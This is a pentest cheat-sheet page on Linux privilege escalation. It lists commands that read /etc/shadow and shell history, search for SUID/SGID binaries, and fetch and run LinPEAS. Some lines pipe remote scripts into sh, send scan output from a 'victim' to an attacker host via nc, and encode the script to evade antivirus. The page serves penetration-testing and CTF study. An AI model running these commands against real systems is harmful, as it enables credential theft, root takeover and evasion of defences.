πŸ’»
AcuityLabs
LinkedIn
  • πŸ’»$ pwnlab.sh --gui
  • βš”οΈAttacking
    • πŸͺŸWindows & Active Directory
      • Active Directory Enumeration
      • Data Transfer
      • Execution
      • Privilege Escalation
    • 🐧Linux
      • Reconnaissance
      • Privilege Escalation
      • Lateral Movement
      • Data Transfer
      • Command and Control
    • πŸ•ΈοΈWebservices
      • Fuzzing
      • SSRF
    • πŸ› οΈOSINT
    • πŸ”Host Discovery
    • Footprinting
    • Services
      • Databases
      • SMB
      • NFS
      • SNMP
      • SMTP
    • πŸͺœPivoting & Portforwarding
  • πŸ›‘οΈDEFENDING
    • SSH
  • CTF
    • Writeups
      • HackTheBox
      • TryHackMe
  • πŸ’£Payloads
    • PayloadsAllTheThings
    • Revshells
  • πŸ“˜Ressources
    • Mindmap
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • SPLOITIFY
    • MALAPI
  • Knowledge Bases
    • Pentest Everything
    • Hacker Recipes
    • Pentest Book
    • HackTricks
    • HackTricks Cloud
  • πŸ”‘Wordlists
    • Weakpass
    • Assetnote
    • Seclists
Powered by GitBook
On this page
  • Manual Enumeration
  • Find credentials / sensitive information
  • File Permissions
  • Tools
  • LinPEAS
  1. Attacking
  2. Linux

Privilege Escalation

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network.

This chapter is in-progress.

Check the index on the right to navigate this page more easily.

Manual Enumeration

Find credentials / sensitive information

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

File Permissions

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

User history

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

Tools

LinPEAS

Official Link: https://github.com/peass-ng/PEASS-ng/tree/master

It's recommended to use the params -a and -r if you are looking for a complete and intensive scan.

# From github
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Without curl
python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')"
python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')"

# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim

# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors

# Use a linpeas binary
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

Defense Evasion

#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim

#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
PreviousReconnaissanceNextLateral Movement

Last updated 10 months ago

βš”οΈ
🐧